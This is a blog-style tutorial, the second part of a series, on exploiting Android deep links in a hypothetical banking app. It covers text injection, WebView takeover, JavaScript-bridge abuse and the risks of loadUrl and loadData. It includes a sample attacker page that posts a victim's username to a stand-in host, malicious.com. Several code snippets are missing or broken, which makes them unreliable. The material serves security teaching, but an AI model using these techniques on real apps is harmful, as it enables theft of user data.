Exploiting Deep Links in Android - Part 2

Exploiting Deep Links in Android - Part 2

In this part, we're going to start to answer the question: "What can you do if you can trick a user into clicking a malicious deep link?"

Let's go back to the ABC Bank example. ABC Bank has both a web and an Android application, and they use deep links to improve the user experience of transitioning between the two.

Text Injection

So, the first thing they want to do is allow the user to view messages in their application. In order to do that, they use the following deep link:


The Android application takes the message parameter and injects it into a TextView element:

String message = getIntent().getData().getQueryParameter('message')
TextView messageTextView = (TextView)findViewById(R.id.msgTextView);

In this scenario, it's possible that a malicious user creates a deep link that tricks a victim into completing some sort of action, e.g.:

WebView Takeover

Let's say a customer is not sure about how to complete a specific operation, so they call the bank's customer support line and the ABC Bank's employee decides to send a deep link to the customer, so they can open a specific website page inside their Android application:


Inside the application there's a WebView and whatever URL is received via this page parameter is loaded without any additional validation, as so:


In this scenario, a malicious attacker can craft a malicious deep link that replaces this page parameter with any other URL, e.g.:


The result:

Now, this is bad by itself, but there's yet another danger.

Access to Web Bindings

Let's say that the vulnerable WebView is used for multiple things inside the application, and one of those operations requires that the WebView has access to the username, that's stored inside the Android application.

In that case, the application can register a JS interface, e.g.:

webview.addJavascriptInterface(WebAppInterface(this), "Android")

Then, inside the WebAppInterface, we can create a method such as:

public final String getUserName() {
	return this.store.getUserName();

Finally, the malicious attacker can create a malicious page that exfiltrates the user name of its visitors, as shown below:

// https://malicious.com/index.html

<DOCTYPE html>
    var req = new XMLHttpRequest();
    xmlhttp.open("POST", https://malicious.com/user-data);

The only thing left to do is to convince the victim to click the malicious deep link where this code is hosted:


Note that in order for this to work there's an additional requirement, the WebView needs to have JavaScript enabled:


The dangers of WebView.loadUrl

As we saw on the Open Redirect example shown above, we can use the loadUrl method to load the given URL into a WebView:


However, this method doesn't only support http(s) but also javascript:, file:// and whatever else scheme you might want to try, you're only limited by the WebView configuration and the developer's validations.

The dangers of WebView.loadData

As the name suggests we can use loadData method to load data into a WebView using a 'data' scheme URL.

This allows us to do some fun stuff like taking some HTML from a deep link parameter and injecting it directly into a WebView with JavaScript enabled, as shown in the example below:

String html = getIntent().getData().getQueryParameter('html')

WebView wv = new WebView(this);
wv.loadData(html, "text/html", "UTF-8")

Now, we can go wherever imagination takes us, we're only restricted by the application's features and security restrictions.

Next, we'll look into other fun vulnerabilities such as LFI and even RCE using deep links.